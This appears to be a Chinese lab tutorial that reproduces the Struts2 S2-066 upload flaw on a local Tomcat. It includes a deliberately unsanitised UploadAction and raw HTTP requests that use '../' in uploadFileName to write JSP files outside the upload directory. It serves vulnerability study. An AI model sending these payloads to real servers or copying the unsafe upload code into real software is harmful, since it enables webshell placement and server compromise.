struts2-66漏洞复现

Strut2-66漏洞从搭建到复现到原理

0x0 创建JavaEE环境

使用idea创建JavaEE项目，添加Strut2的依赖

点击右上角创建新项目

下一步，依赖项只选择一个Servlet就行了，版本JavaEE8

然后完成打开即可，为了方便把根目录调整一下

点击右上角的tomcat编辑配置

默认的话是这样的

如果警告没有部署标记工件，点击修正选择第二个strut266:war explode就可以

修改一下这些地方，注意端口不要冲突

点击右上角运行，等tomcat启动后会自动打开网站，或者自己去请求，注意是http不是https，有的你输入

http://localhost:9999/会自动转成https://localhost:9999/ 注意！不行就换一个浏览器或百度上有解决办法。

0x01搭建漏洞环境

到这里没有毛病已经完成了第一步，第二步配置strut2依赖和上传代码

添加struts2拥有漏洞的漏洞版本

受影响版本

2.5.0 <= Apache Struts <= 2.5.32
6.0.0 <= Apache Struts <= 6.3.0

不受影响版本

Apache Struts >= 2.5.33
Apache Struts >= 6.3.0.2

这里用6.3.0来复现：

在pom.xml里添加strut2 6.3.0，然后加载Maven即可

<dependency>
    <groupId>org.apache.struts</groupId>
    <artifactId>struts2-core</artifactId>
    <version>6.3.0</version>
</dependency>

如果提示Could not find artifact org.apache......

可以试一下清理后重新编译

完成后，创建一个UploadAction

代码为：

package com.example.strut266;

import com.opensymphony.xwork2.ActionSupport;
import org.apache.commons.io.FileUtils;
import org.apache.struts2.ServletActionContext;

import java.io.*;

public class UploadAction extends ActionSupport {

    private static final long serialVersionUID = 1L;


    private File upload;

    // 文件类型，为name属性值 + ContentType
    private String uploadContentType;

    // 文件名称，为name属性值 + FileName
    private String uploadFileName;

    public File getUpload() {
        return upload;
    }

    public void setUpload(File upload) {
        this.upload = upload;
    }

    public String getUploadContentType() {
        return uploadContentType;
    }

    public void setUploadContentType(String uploadContentType) {
        this.uploadContentType = uploadContentType;
    }

    public String getUploadFileName() {
        return uploadFileName;
    }

    public void setUploadFileName(String uploadFileName) {
        this.uploadFileName = uploadFileName;
    }

    public String doUpload() {
        String path = ServletActionContext.getServletContext().getRealPath("/")+"upload";
        String realPath = path + File.separator +uploadFileName;
        try {
            FileUtils.copyFile(upload, new File(realPath));
        } catch (Exception e) {
            e.printStackTrace();
        }
        return SUCCESS;
    }

}

在resources目录下创建struts.xml，注意修改class指定成自己的类的路径

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE struts PUBLIC
        "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
        "http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
    <package name="upload" extends="struts-default">
        <action name="upload" class="com.example.strut266.UploadAction" method="doUpload">
            <result name="success" type="">/index.jsp</result>
        </action>
    </package>
</struts>

在web.xml当中配置好filter

<filter>
        <filter-name>struts2</filter-name>
        <filter-class>org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter</filter-class>
</filter>
<filter-mapping>
    <filter-name>struts2</filter-name>
    <url-pattern>*.action</url-pattern>
</filter-mapping>

以上漏洞环境搭建完成，搭建完成之后点击右上方运行即可。

0x02漏洞复现

payload：

POST /upload.action HTTP/1.1
Host: localhost:9999
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 237
Content-Type: multipart/form-data; boundary=------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
Content-Disposition: form-data; name="Upload"; filename="1.txt"
Content-Type: text/plain

123123
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN--

上传成功后可以在target\strut266-1.0-SNAPSHOT\upload目录下看到上传的文件

路径穿越payload1：

POST /upload.action HTTP/1.1
Host: localhost:9999
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 399
Content-Type: multipart/form-data; boundary=------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
Content-Disposition: form-data; name="Upload"; filename="1.txt"
Content-Type: text/plain

123
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
Content-Disposition: form-data; name="uploadFileName"; 
Content-Type: text/plain

../123.jsp
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN--

上传成功后可以在target\strut266-1.0-SNAPSHOT\目录下看到上传的文件穿越了上层目录

路径穿越payload2：

POST /upload.action?uploadFileName=../1234.jsp HTTP/1.1
Host: localhost:9999
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 234
Content-Type: multipart/form-data; boundary=------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
Content-Disposition: form-data; name="Upload"; filename="1.txt"
Content-Type: text/plain

123
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN--